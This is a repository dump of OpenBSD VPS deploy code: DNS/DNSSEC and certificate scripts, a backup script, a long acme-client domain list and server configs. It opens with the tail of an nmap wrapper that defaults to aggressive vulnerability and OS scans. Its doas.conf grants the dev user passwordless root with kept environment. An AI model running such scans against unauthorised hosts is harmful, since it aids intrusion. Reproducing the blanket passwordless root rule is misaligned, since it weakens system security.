      --lang=english|norwegian  #{T == TRANSLATIONS["english"] ? "Set language" : "Sett språk"}

      --prompt          #{T == TRANSLATIONS["english"] ? "Prompt for severity and attack type" : "Spør om alvorlighet og angrepstype"}

    Prompts (with --prompt):

      #{T[:prompt_target]}: #{T == TRANSLATIONS["english"] ? "e.g., 127.0.0.1 or scanme.nmap.org" : "f.eks., 127.0.0.1 eller scanme.nmap.org"}

      #{T[:prompt_severity]}

      #{T[:prompt_attack]}

    Default: Full scan (all ports, service/OS detection, vulnerabilities, aggressive)

    Requirements:

      - nmap (OpenBSD: doas pkg_add nmap; Cygwin: apt-cyg install nmap; Termux: pkg install nmap)

      - ruby-nmap gem (gem install ruby-nmap)

    #{T == TRANSLATIONS["english"] ? "Note: Ensure permission to scan target." : "Merknad: Sørg for tillatelse til å skanne målet."}

  HELP

  exit

end

puts T[:title]
target = prompt(T[:prompt_target])

if target.empty?

  log T[:no_target], "validate", "error"

  abort T[:no_target]

end

# Optional prompts
if $prompt

  puts T[:severity_title]

  puts "  #{T[:severity_low]}"

  puts "  #{T[:severity_medium]}"

  puts "  #{T[:severity_high]}"

  puts "  #{T[:severity_critical]}"

  severity = prompt(T[:prompt_severity]).downcase

  severity = "medium" if severity.empty?

  unless %w[low medium high critical].include?(severity)

    log T[:invalid_severity], "validate", "error"

    abort T[:invalid_severity]

  end

  puts T[:attack_title]

  puts "  #{T[:attack_normal]}"

  puts "  #{T[:attack_stealth]}"

  puts "  #{T[:attack_aggressive]}"

  attack_type = prompt(T[:prompt_attack]).downcase

  attack_type = "normal" if attack_type.empty?

  unless %w[normal stealth aggressive].include?(attack_type)

    log T[:invalid_attack], "validate", "error"

    abort T[:invalid_attack]

  end

else

  severity = "critical"

  attack_type = "aggressive"

end

# Run scan
scan(target, severity, attack_type)

openbsd/README.md

# OpenBSD Deploy

Full VPS stack deploy for OpenBSD 7.8 at `46.23.89.226`.

## Run

```zsh
cd ~/pub4/DEPLOY/openbsd
tmux new-session -d -s deploy "doas zsh openbsd.sh 2>&1 | tee /tmp/deploy.log"
tmux attach -t deploy

Resume after interruption:

doas zsh openbsd.sh --resume

What it deploys

Stage 1 — DNS, TLS, packages

  • validates OpenBSD interface and disk space
  • installs base deploy packages
  • configures minimal PF for bootstrap
  • configures NSD authoritative DNS
  • signs zones with DNSSEC
  • configures httpd for ACME challenges
  • requests certificates with acme-client
  • writes TLSA records
  • installs certificate-renewal cron

Stage 2 — application services

  • installs Rails app trees from DEPLOY/rails/*
  • configures app rc.d services
  • configures relayd TLS termination
  • configures httpd static/ACME serving
  • configures smtpd
  • loads final PF rules
  • verifies service health

Dev terminal environment (for operator dev user)

  • terminal packages: zsh fish neovim tmux fontconfig fzf ripgrep fd
  • enriched /home/dev/.zshrc (Starship if present, nvim editor, quality aliases, brgen helper)
  • enables the rich local dev experience (Nerd Fonts, modern prompt, Neovim) on the VPS itself for tmux sessions and non-CLI work

Boundary rules

  • Public ingress should be limited to SSH, SMTP, HTTP, and HTTPS.
  • Raw Rails/Falcon/internal ports should stay behind relayd or loopback bindings.
  • PostgreSQL and Redis are not part of this deploy path unless explicitly reintroduced.
  • Secrets must come from environment, local root-owned files, or operator input, never committed docs.
  • Certificate renewal must be idempotent and must not append duplicate TLSA records.

Checks

After deploy:

doas rcctl check master
doas pfctl -s rules
curl -sk https://ai.brgen.no/chat/metrics

Inspect logs:

doas tail -f /var/log/openbsd_setup.log
doas tail -f /var/log/openbsd_transactions.log
doas tail -f /var/log/cert-renewal.log

MASTER sweep notes

DEPLOY/ is high-risk infrastructure code. Run it through MASTER with deploy policy enabled before changing live systems:

bundle exec ruby exe/master /scan DEPLOY
bundle exec ruby exe/master /sweep DEPLOY

Reject any change that:

  • opens raw app ports publicly
  • makes destructive filesystem changes without backup
  • weakens PF, relayd, httpd, smtpd, or NSD validation
  • stores credentials in repository files
  • removes idempotence from cron, DNS, TLS, or rc.d setup

## `openbsd/_net.sh`
```bash
#!/usr/bin/env zsh
set -euo pipefail

# DNS, NSD, DNSSEC, and cert utilities.

validate_ip() {
  typeset ip=$1
  [[ $ip =~ '^([0-9]{1,3}\.){3}[0-9]{1,3}$' ]] || return 1
  typeset -a octets; octets=(${(s:.:)ip})
  for octet in $octets; do (( octet > 255 )) && return 1; done
  return 0
}

generate_random_port() {
  typeset port
  while :; do
    port=$((RANDOM % 50000 + 10000))
    typeset _out; _out=$(/usr/bin/netstat -an)
    [[ $_out != *".$port "* ]] && echo $port && break
  done
}

cleanup_nsd() {
  log INFO "Cleaning nsd(8)"
  [[ -d /var/nsd ]] || { log ERROR "/var/nsd missing"; exit 1 }
  /usr/bin/timeout 5 /usr/sbin/rcctl stop nsd || log WARN "/usr/sbin/rcctl stop nsd failed"
  /usr/bin/timeout 5 zap -f nsd || log WARN "zap -f nsd failed"
  sleep 2
  typeset _out; _out=$(/usr/bin/netstat -an -p udp)
  [[ $_out == *"$BRGEN_IP.53"* ]] && { log ERROR "Port 53 in use"; exit 1 }
  log INFO "Port 53 free"
}

verify_nsd() {
  log INFO "Verifying nsd(8) for all domains"
  for domain in ${ALL_DOMAINS[*]%%:*}; do
    typeset dig_a=${$(/usr/bin/dig @"$BRGEN_IP" "$domain" A +short):-}
    [[ -z $dig_a || $dig_a != $BRGEN_IP ]] && {
      log WARN "nsd(8) A record missing or wrong for $domain (got: ${dig_a:-empty})"
      continue
    }
    typeset dig_dnskey=${$(/usr/bin/dig @"$BRGEN_IP" "$domain" DNSKEY +short):-}
    [[ -z $dig_dnskey ]] && { log WARN "DNSSEC not enabled for $domain"; continue }
  done
  log INFO "nsd(8) verification complete"
}

check_dns_propagation() {
  log INFO "Checking DNS propagation"
  for resolver in $PUBLIC_RESOLVERS; do
    typeset _soa; _soa=$(/usr/bin/dig @$resolver brgen.no SOA +short)
    [[ $_soa == *"ns.brgen.no."* ]] && { log INFO "DNS propagation verified via $resolver"; return 0 }
  done
  log ERROR "DNS propagation incomplete. Check glue records."
  exit 1
}

generate_tlsa_record() {
  typeset domain=$1
  typeset cert=/etc/ssl/$domain.fullchain.pem
  typeset zonefile=/var/nsd/zones/master/$domain.zone
  [[ ! -f $cert ]] && { log WARN "Certificate for $domain not found"; return 1 }
  typeset _raw; _raw=$(openssl x509 -noout -pubkey -in "$cert" | openssl pkey -pubin -outform der 2>/dev/null | openssl dgst -sha256 2>/dev/null)
  typeset tlsa_record=${${(z)_raw}[2]:-}
  (( ! $#tlsa_record )) && { log ERROR "TLSA generation failed for $domain"; exit 1 }
  print -r -- "_443._tcp.$domain. IN TLSA 3 1 1 $tlsa_record" >> "$zonefile"
  sign_zone "$domain"
  log INFO "TLSA updated for $domain"
}

sign_zone() {
  typeset domain=$1
  typeset zonefile=/var/nsd/zones/master/$domain.zone
  typeset signed_zonefile=/var/nsd/zones/master/$domain.zone.signed
  typeset zsk=/var/nsd/zones/master/K$domain.+013+zsk.key
  typeset ksk=/var/nsd/zones/master/K$domain.+013+ksk.key
  [[ -f $zsk && -f $ksk ]] || { log ERROR "ZSK or KSK missing for $domain"; exit 1 }
  ldns-signzone -n -p -s $(dd if=/dev/random bs=16 count=1 2>/dev/null | sha1 -q) "$zonefile" "$zsk" "$ksk"
  nsd-checkzone "$domain" "$signed_zonefile" || { log ERROR "Signed zone invalid for $domain"; exit 1 }
  nsd-control reload
}

retry_failed_certs() {
  log INFO "Retrying failed certificates"
  for domain in ${(k)FAILED_CERTS}; do
    typeset dns_check=${$(/usr/bin/dig @"$BRGEN_IP" "$domain" A +short):-}
    [[ $dns_check != $BRGEN_IP ]] && { log WARN "DNS for $domain failed"; continue }
    print -r -- "retry_$domain" > "/var/www/acme/retry_$domain"
    typeset http_status=${$(curl -s -o /dev/null -w "%{http_code}" -H "Host: $domain" "http://$BRGEN_IP/.well-known/acme-challenge/retry_$domain"):-000}
    rm -f "/var/www/acme/retry_$domain"
    [[ $http_status != 200 ]] && { log WARN "HTTP test for $domain failed"; continue }
    if acme-client -v -f /etc/acme-client.conf "$domain"; then
      unset FAILED_CERTS[$domain]
      generate_tlsa_record "$domain"
    else
      log WARN "Retry failed for $domain"
    fi
  done
}

openbsd/backup_priv.sh

#!/usr/bin/env zsh
# Backs up ~/priv/ to OpenBSD Amsterdam wingman1 backup server.
# Run on VPS as dev@46.23.89.226.
# Backup host: s4vm23@wingman1.openbsd.amsterdam (same SSH key, auto-provisioned)

set -euo pipefail

typeset backup_host="s4vm23@wingman1.openbsd.amsterdam"
typeset stamp=$(date +%Y%m%d_%H%M%S)
typeset enc_file="/tmp/priv_${stamp}.tar.enc"

[[ -d ~/priv ]] || { print "~/priv does not exist"; exit 1 }

# Create encrypted archive using LibreSSL (OpenBSD openssl).
# -pbkdf2 uses PBKDF2 key derivation — required on LibreSSL 3.x.
# Passphrase entered interactively; never passed as argument.
print "Encrypting ~/priv/ …"
tar -czf - -C ~ priv | openssl enc -aes-256-cbc -pbkdf2 -out "$enc_file"

print "Uploading to $backup_host"
openrsync -ae ssh "$enc_file" "${backup_host}:backup/"

# Verify upload
typeset remote_size
remote_size=$(ssh "$backup_host" "wc -c < backup/$(basename $enc_file)")
typeset local_size
local_size=$(wc -c < "$enc_file")
[[ $remote_size -eq $local_size ]] || { print "Size mismatch — verify manually"; exit 1 }

rm -f "$enc_file"
print "Done. priv_${stamp}.tar.enc on wingman1 (${local_size} bytes)."
print "Decrypt: openssl enc -d -aes-256-cbc -pbkdf2 -in priv_DATE.tar.enc | tar -xzf -"

openbsd/etc/acme-client.conf

# acme-client(1) per acme-client.conf(5)

authority letsencrypt {
  api url "https://acme-v02.api.letsencrypt.org/directory"
  account key "/etc/acme/letsencrypt_privkey.pem"
}
domain "brgen.no" {
  alternative names { "brgen.no" "markedsplass.brgen.no" "playlist.brgen.no" "dating.brgen.no" "tv.brgen.no" "takeaway.brgen.no" "maps.brgen.no" "ai.brgen.no" "hjerterom.brgen.no" }
  domain key "/etc/ssl/private/brgen.no.key"
  domain full chain certificate "/etc/ssl/brgen.no.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "longyearbyn.no" {
  alternative names { "longyearbyn.no" "markedsplass.longyearbyn.no" "playlist.longyearbyn.no" "dating.longyearbyn.no" "tv.longyearbyn.no" "takeaway.longyearbyn.no" "maps.longyearbyn.no" }
  domain key "/etc/ssl/private/longyearbyn.no.key"
  domain full chain certificate "/etc/ssl/longyearbyn.no.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "oshlo.no" {
  alternative names { "oshlo.no" "markedsplass.oshlo.no" "playlist.oshlo.no" "dating.oshlo.no" "tv.oshlo.no" "takeaway.oshlo.no" "maps.oshlo.no" }
  domain key "/etc/ssl/private/oshlo.no.key"
  domain full chain certificate "/etc/ssl/oshlo.no.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "stvanger.no" {
  alternative names { "stvanger.no" "markedsplass.stvanger.no" "playlist.stvanger.no" "dating.stvanger.no" "tv.stvanger.no" "takeaway.stvanger.no" "maps.stvanger.no" }
  domain key "/etc/ssl/private/stvanger.no.key"
  domain full chain certificate "/etc/ssl/stvanger.no.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "trmso.no" {
  alternative names { "trmso.no" "markedsplass.trmso.no" "playlist.trmso.no" "dating.trmso.no" "tv.trmso.no" "takeaway.trmso.no" "maps.trmso.no" }
  domain key "/etc/ssl/private/trmso.no.key"
  domain full chain certificate "/etc/ssl/trmso.no.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "trndheim.no" {
  alternative names { "trndheim.no" "markedsplass.trndheim.no" "playlist.trndheim.no" "dating.trndheim.no" "tv.trndheim.no" "takeaway.trndheim.no" "maps.trndheim.no" }
  domain key "/etc/ssl/private/trndheim.no.key"
  domain full chain certificate "/etc/ssl/trndheim.no.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "reykjavk.is" {
  alternative names { "reykjavk.is" "markadur.reykjavk.is" "playlist.reykjavk.is" "dating.reykjavk.is" "tv.reykjavk.is" "takeaway.reykjavk.is" "maps.reykjavk.is" }
  domain key "/etc/ssl/private/reykjavk.is.key"
  domain full chain certificate "/etc/ssl/reykjavk.is.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "kbenhvn.dk" {
  alternative names { "kbenhvn.dk" "markedsplads.kbenhvn.dk" "playlist.kbenhvn.dk" "dating.kbenhvn.dk" "tv.kbenhvn.dk" "takeaway.kbenhvn.dk" "maps.kbenhvn.dk" }
  domain key "/etc/ssl/private/kbenhvn.dk.key"
  domain full chain certificate "/etc/ssl/kbenhvn.dk.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "gtebrg.se" {
  alternative names { "gtebrg.se" "marknadsplats.gtebrg.se" "playlist.gtebrg.se" "dating.gtebrg.se" "tv.gtebrg.se" "takeaway.gtebrg.se" "maps.gtebrg.se" }
  domain key "/etc/ssl/private/gtebrg.se.key"
  domain full chain certificate "/etc/ssl/gtebrg.se.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "mlmoe.se" {
  alternative names { "mlmoe.se" "marknadsplats.mlmoe.se" "playlist.mlmoe.se" "dating.mlmoe.se" "tv.mlmoe.se" "takeaway.mlmoe.se" "maps.mlmoe.se" }
  domain key "/etc/ssl/private/mlmoe.se.key"
  domain full chain certificate "/etc/ssl/mlmoe.se.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "stholm.se" {
  alternative names { "stholm.se" "marknadsplats.stholm.se" "playlist.stholm.se" "dating.stholm.se" "tv.stholm.se" "takeaway.stholm.se" "maps.stholm.se" }
  domain key "/etc/ssl/private/stholm.se.key"
  domain full chain certificate "/etc/ssl/stholm.se.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "hlsinki.fi" {
  alternative names { "hlsinki.fi" "markkinapaikka.hlsinki.fi" "playlist.hlsinki.fi" "dating.hlsinki.fi" "tv.hlsinki.fi" "takeaway.hlsinki.fi" "maps.hlsinki.fi" }
  domain key "/etc/ssl/private/hlsinki.fi.key"
  domain full chain certificate "/etc/ssl/hlsinki.fi.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "brmingham.uk" {
  alternative names { "brmingham.uk" "marketplace.brmingham.uk" "playlist.brmingham.uk" "dating.brmingham.uk" "tv.brmingham.uk" "takeaway.brmingham.uk" "maps.brmingham.uk" }
  domain key "/etc/ssl/private/brmingham.uk.key"
  domain full chain certificate "/etc/ssl/brmingham.uk.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "cardff.uk" {
  alternative names { "cardff.uk" "marketplace.cardff.uk" "playlist.cardff.uk" "dating.cardff.uk" "tv.cardff.uk" "takeaway.cardff.uk" "maps.cardff.uk" }
  domain key "/etc/ssl/private/cardff.uk.key"
  domain full chain certificate "/etc/ssl/cardff.uk.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "edinbrgh.uk" {
  alternative names { "edinbrgh.uk" "marketplace.edinbrgh.uk" "playlist.edinbrgh.uk" "dating.edinbrgh.uk" "tv.edinbrgh.uk" "takeaway.edinbrgh.uk" "maps.edinbrgh.uk" }
  domain key "/etc/ssl/private/edinbrgh.uk.key"
  domain full chain certificate "/etc/ssl/edinbrgh.uk.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "glasgw.uk" {
  alternative names { "glasgw.uk" "marketplace.glasgw.uk" "playlist.glasgw.uk" "dating.glasgw.uk" "tv.glasgw.uk" "takeaway.glasgw.uk" "maps.glasgw.uk" }
  domain key "/etc/ssl/private/glasgw.uk.key"
  domain full chain certificate "/etc/ssl/glasgw.uk.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "lndon.uk" {
  alternative names { "lndon.uk" "marketplace.lndon.uk" "playlist.lndon.uk" "dating.lndon.uk" "tv.lndon.uk" "takeaway.lndon.uk" "maps.lndon.uk" }
  domain key "/etc/ssl/private/lndon.uk.key"
  domain full chain certificate "/etc/ssl/lndon.uk.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "lverpool.uk" {
  alternative names { "lverpool.uk" "marketplace.lverpool.uk" "playlist.lverpool.uk" "dating.lverpool.uk" "tv.lverpool.uk" "takeaway.lverpool.uk" "maps.lverpool.uk" }
  domain key "/etc/ssl/private/lverpool.uk.key"
  domain full chain certificate "/etc/ssl/lverpool.uk.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "mnchester.uk" {
  alternative names { "mnchester.uk" "marketplace.mnchester.uk" "playlist.mnchester.uk" "dating.mnchester.uk" "tv.mnchester.uk" "takeaway.mnchester.uk" "maps.mnchester.uk" }
  domain key "/etc/ssl/private/mnchester.uk.key"
  domain full chain certificate "/etc/ssl/mnchester.uk.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "amstrdam.nl" {
  alternative names { "amstrdam.nl" "marktplaats.amstrdam.nl" "playlist.amstrdam.nl" "dating.amstrdam.nl" "tv.amstrdam.nl" "takeaway.amstrdam.nl" "maps.amstrdam.nl" }
  domain key "/etc/ssl/private/amstrdam.nl.key"
  domain full chain certificate "/etc/ssl/amstrdam.nl.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "rottrdam.nl" {
  alternative names { "rottrdam.nl" "marktplaats.rottrdam.nl" "playlist.rottrdam.nl" "dating.rottrdam.nl" "tv.rottrdam.nl" "takeaway.rottrdam.nl" "maps.rottrdam.nl" }
  domain key "/etc/ssl/private/rottrdam.nl.key"
  domain full chain certificate "/etc/ssl/rottrdam.nl.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "utrcht.nl" {
  alternative names { "utrcht.nl" "marktplaats.utrcht.nl" "playlist.utrcht.nl" "dating.utrcht.nl" "tv.utrcht.nl" "takeaway.utrcht.nl" "maps.utrcht.nl" }
  domain key "/etc/ssl/private/utrcht.nl.key"
  domain full chain certificate "/etc/ssl/utrcht.nl.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "brssels.be" {
  alternative names { "brssels.be" "marche.brssels.be" "playlist.brssels.be" "dating.brssels.be" "tv.brssels.be" "takeaway.brssels.be" "maps.brssels.be" }
  domain key "/etc/ssl/private/brssels.be.key"
  domain full chain certificate "/etc/ssl/brssels.be.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "zrich.ch" {
  alternative names { "zrich.ch" "marktplatz.zrich.ch" "playlist.zrich.ch" "dating.zrich.ch" "tv.zrich.ch" "takeaway.zrich.ch" "maps.zrich.ch" }
  domain key "/etc/ssl/private/zrich.ch.key"
  domain full chain certificate "/etc/ssl/zrich.ch.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "lchtenstein.li" {
  alternative names { "lchtenstein.li" "marktplatz.lchtenstein.li" "playlist.lchtenstein.li" "dating.lchtenstein.li" "tv.lchtenstein.li" "takeaway.lchtenstein.li" "maps.lchtenstein.li" }
  domain key "/etc/ssl/private/lchtenstein.li.key"
  domain full chain certificate "/etc/ssl/lchtenstein.li.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "frankfrt.de" {
  alternative names { "frankfrt.de" "marktplatz.frankfrt.de" "playlist.frankfrt.de" "dating.frankfrt.de" "tv.frankfrt.de" "takeaway.frankfrt.de" "maps.frankfrt.de" }
  domain key "/etc/ssl/private/frankfrt.de.key"
  domain full chain certificate "/etc/ssl/frankfrt.de.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "brdeaux.fr" {
  alternative names { "brdeaux.fr" "marche.brdeaux.fr" "playlist.brdeaux.fr" "dating.brdeaux.fr" "tv.brdeaux.fr" "takeaway.brdeaux.fr" "maps.brdeaux.fr" }
  domain key "/etc/ssl/private/brdeaux.fr.key"
  domain full chain certificate "/etc/ssl/brdeaux.fr.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "mrseille.fr" {
  alternative names { "mrseille.fr" "marche.mrseille.fr" "playlist.mrseille.fr" "dating.mrseille.fr" "tv.mrseille.fr" "takeaway.mrseille.fr" "maps.mrseille.fr" }
  domain key "/etc/ssl/private/mrseille.fr.key"
  domain full chain certificate "/etc/ssl/mrseille.fr.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "mlan.it" {
  alternative names { "mlan.it" "mercato.mlan.it" "playlist.mlan.it" "dating.mlan.it" "tv.mlan.it" "takeaway.mlan.it" "maps.mlan.it" }
  domain key "/etc/ssl/private/mlan.it.key"
  domain full chain certificate "/etc/ssl/mlan.it.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "lisbon.pt" {
  alternative names { "lisbon.pt" "mercado.lisbon.pt" "playlist.lisbon.pt" "dating.lisbon.pt" "tv.lisbon.pt" "takeaway.lisbon.pt" "maps.lisbon.pt" }
  domain key "/etc/ssl/private/lisbon.pt.key"
  domain full chain certificate "/etc/ssl/lisbon.pt.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "wrsawa.pl" {
  alternative names { "wrsawa.pl" "marktplatz.wrsawa.pl" "playlist.wrsawa.pl" "dating.wrsawa.pl" "tv.wrsawa.pl" "takeaway.wrsawa.pl" "maps.wrsawa.pl" }
  domain key "/etc/ssl/private/wrsawa.pl.key"
  domain full chain certificate "/etc/ssl/wrsawa.pl.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "gdnsk.pl" {
  alternative names { "gdnsk.pl" "marktplatz.gdnsk.pl" "playlist.gdnsk.pl" "dating.gdnsk.pl" "tv.gdnsk.pl" "takeaway.gdnsk.pl" "maps.gdnsk.pl" }
  domain key "/etc/ssl/private/gdnsk.pl.key"
  domain full chain certificate "/etc/ssl/gdnsk.pl.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "austn.us" {
  alternative names { "austn.us" "marketplace.austn.us" "playlist.austn.us" "dating.austn.us" "tv.austn.us" "takeaway.austn.us" "maps.austn.us" }
  domain key "/etc/ssl/private/austn.us.key"
  domain full chain certificate "/etc/ssl/austn.us.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "chcago.us" {
  alternative names { "chcago.us" "marketplace.chcago.us" "playlist.chcago.us" "dating.chcago.us" "tv.chcago.us" "takeaway.chcago.us" "maps.chcago.us" }
  domain key "/etc/ssl/private/chcago.us.key"
  domain full chain certificate "/etc/ssl/chcago.us.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "denvr.us" {
  alternative names { "denvr.us" "marketplace.denvr.us" "playlist.denvr.us" "dating.denvr.us" "tv.denvr.us" "takeaway.denvr.us" "maps.denvr.us" }
  domain key "/etc/ssl/private/denvr.us.key"
  domain full chain certificate "/etc/ssl/denvr.us.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "dllas.us" {
  alternative names { "dllas.us" "marketplace.dllas.us" "playlist.dllas.us" "dating.dllas.us" "tv.dllas.us" "takeaway.dllas.us" "maps.dllas.us" }
  domain key "/etc/ssl/private/dllas.us.key"
  domain full chain certificate "/etc/ssl/dllas.us.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "dnver.us" {
  alternative names { "dnver.us" "marketplace.dnver.us" "playlist.dnver.us" "dating.dnver.us" "tv.dnver.us" "takeaway.dnver.us" "maps.dnver.us" }
  domain key "/etc/ssl/private/dnver.us.key"
  domain full chain certificate "/etc/ssl/dnver.us.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "dtroit.us" {
  alternative names { "dtroit.us" "marketplace.dtroit.us" "playlist.dtroit.us" "dating.dtroit.us" "tv.dtroit.us" "takeaway.dtroit.us" "maps.dtroit.us" }
  domain key "/etc/ssl/private/dtroit.us.key"
  domain full chain certificate "/etc/ssl/dtroit.us.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "houstn.us" {
  alternative names { "houstn.us" "marketplace.houstn.us" "playlist.houstn.us" "dating.houstn.us" "tv.houstn.us" "takeaway.houstn.us" "maps.houstn.us" }
  domain key "/etc/ssl/private/houstn.us.key"
  domain full chain certificate "/etc/ssl/houstn.us.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "lsangeles.com" {
  alternative names { "lsangeles.com" "marketplace.lsangeles.com" "playlist.lsangeles.com" "dating.lsangeles.com" "tv.lsangeles.com" "takeaway.lsangeles.com" "maps.lsangeles.com" }
  domain key "/etc/ssl/private/lsangeles.com.key"
  domain full chain certificate "/etc/ssl/lsangeles.com.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "mnnesota.com" {
  alternative names { "mnnesota.com" "marketplace.mnnesota.com" "playlist.mnnesota.com" "dating.mnnesota.com" "tv.mnnesota.com" "takeaway.mnnesota.com" "maps.mnnesota.com" }
  domain key "/etc/ssl/private/mnnesota.com.key"
  domain full chain certificate "/etc/ssl/mnnesota.com.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "newyrk.us" {
  alternative names { "newyrk.us" "marketplace.newyrk.us" "playlist.newyrk.us" "dating.newyrk.us" "tv.newyrk.us" "takeaway.newyrk.us" "maps.newyrk.us" }
  domain key "/etc/ssl/private/newyrk.us.key"
  domain full chain certificate "/etc/ssl/newyrk.us.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "prtland.com" {
  alternative names { "prtland.com" "marketplace.prtland.com" "playlist.prtland.com" "dating.prtland.com" "tv.prtland.com" "takeaway.prtland.com" "maps.prtland.com" }
  domain key "/etc/ssl/private/prtland.com.key"
  domain full chain certificate "/etc/ssl/prtland.com.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "wshingtondc.com" {
  alternative names { "wshingtondc.com" "marketplace.wshingtondc.com" "playlist.wshingtondc.com" "dating.wshingtondc.com" "tv.wshingtondc.com" "takeaway.wshingtondc.com" "maps.wshingtondc.com" }
  domain key "/etc/ssl/private/wshingtondc.com.key"
  domain full chain certificate "/etc/ssl/wshingtondc.com.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "pub.healthcare" {
  domain key "/etc/ssl/private/pub.healthcare.key"
  domain full chain certificate "/etc/ssl/pub.healthcare.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "pub.attorney" {
  domain key "/etc/ssl/private/pub.attorney.key"
  domain full chain certificate "/etc/ssl/pub.attorney.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "freehelp.legal" {
  domain key "/etc/ssl/private/freehelp.legal.key"
  domain full chain certificate "/etc/ssl/freehelp.legal.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "bsdports.org" {
  domain key "/etc/ssl/private/bsdports.org.key"
  domain full chain certificate "/etc/ssl/bsdports.org.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "bsddocs.org" {
  domain key "/etc/ssl/private/bsddocs.org.key"
  domain full chain certificate "/etc/ssl/bsddocs.org.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "discordb.org" {
  domain key "/etc/ssl/private/discordb.org.key"
  domain full chain certificate "/etc/ssl/discordb.org.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "foodielicio.us" {
  domain key "/etc/ssl/private/foodielicio.us.key"
  domain full chain certificate "/etc/ssl/foodielicio.us.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "stacyspassion.com" {
  domain key "/etc/ssl/private/stacyspassion.com.key"
  domain full chain certificate "/etc/ssl/stacyspassion.com.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "antibettingblog.com" {
  domain key "/etc/ssl/private/antibettingblog.com.key"
  domain full chain certificate "/etc/ssl/antibettingblog.com.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "anticasinoblog.com" {
  domain key "/etc/ssl/private/anticasinoblog.com.key"
  domain full chain certificate "/etc/ssl/anticasinoblog.com.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "antigamblingblog.com" {
  domain key "/etc/ssl/private/antigamblingblog.com.key"
  domain full chain certificate "/etc/ssl/antigamblingblog.com.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "foball.no" {
  domain key "/etc/ssl/private/foball.no.key"
  domain full chain certificate "/etc/ssl/foball.no.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "amber.brgen.no" {
  domain key "/etc/ssl/private/amber.brgen.no.key"
  domain full chain certificate "/etc/ssl/amber.brgen.no.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

domain "baibl.no" {
  domain key "/etc/ssl/private/baibl.no.key"
  domain full chain certificate "/etc/ssl/baibl.no.fullchain.pem"
  sign with letsencrypt
  challengedir "/var/www/acme"
}

openbsd/etc/doas.conf

permit nopass keepenv dev as root
permit nopass dev as root cmd /sbin/rcctl args restart master

openbsd/etc/httpd.conf

# httpd(8): ACME challenges and HTTP to HTTPS redirect per httpd.conf(5)

server "*" {
  listen on 0.0.0.0 port 80

  location "/.well-known/acme-challenge/*" {
    root "/acme"
    request strip 2
  }

  location * {
    block return 301 "https://$HTTP_HOST$REQUEST_URI"
  }
}

server "brgen.no" {
  listen on * port 6666
  root "/postpro"
